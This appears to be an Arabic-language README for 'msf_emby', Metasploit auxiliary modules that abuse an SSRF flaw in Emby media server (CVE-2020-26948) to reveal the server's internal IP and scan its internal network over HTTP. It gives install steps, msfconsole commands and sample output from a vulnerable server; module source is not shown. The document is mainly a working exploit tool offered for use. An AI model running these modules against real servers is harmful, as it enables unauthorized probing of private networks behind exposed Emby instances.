msf_emby

تقوم هذه الأداة بفحص خادم EMBY البعيد لمحاولة استخدام ثغرة SSRF لإجراء فحص http للشبكة الداخلية لخادم EMBY. ويستند هذا إلى الثغرة CVE-2020-26948.

التثبيت

استنسخ المستودع وضع ملفات rb في الدليل /usr/share/metasploit-framework/modules/auxiliary/scanner/http/. ثم شغّل msfconsole واستخدم الوحدات من هناك.

المساعدة

Emby_Version:

نفّذ: use auxiliary/scanner/http/emby_version_ssrf
نفّذ: set rhosts [ips]
نفّذ: run

msf6 > use auxiliary/scanner/http/emby_version_ssrf
msf6 auxiliary(scanner/http/emby_version_ssrf) > set rhosts 10.10.200.32
rhosts => 10.10.200.32
msf6 auxiliary(scanner/http/emby_version_ssrf) > run

[*] Identifying Media Server Version on 10.10.200.32:8096
[+] [Media Server] URI: http://10.10.200.32:8096  /
[+] [Media Server] Version: 4.4.2.0
[+] [Media Server] Internal IP: http://192.168.2.3:8096
[+] *** Vulnerable to SSRF module auxiliary/scanner/emby_ssrf_scanner! ***
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Emby_Scan:

نفّذ: use auxiliary/scanner/http/emby_ssrf_scanner
نفّذ: set rhosts [ips]
نفّذ: set emby_server [emby_server_ip]
نفّذ: run

msf6 > use auxiliary/scanner/http/emby_ssrf_scanner
msf6 auxiliary(scanner/http/emby_ssrf_scanner) > set emby_server 10.10.200.32
emby_server => 10.10.200.32
msf6 auxiliary(scanner/http/emby_ssrf_scanner) > set rhosts 192.168.2.3
rhosts => 192.168.2.3
msf6 auxiliary(scanner/http/emby_ssrf_scanner) > run

[+] 192.168.2.3:8096 Title: Emby
[+] 192.168.2.3:8096     HTTP Code: 200
[+] 192.168.2.3:8096     Location Header:
[+] 192.168.2.3:8096     Server Header: UPnP/1.0 DLNADOC/1.50
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

emby_ssrf

الأكثر شعبية

msf_emby

التثبيت

المساعدة

Emby_Version:

Emby_Scan: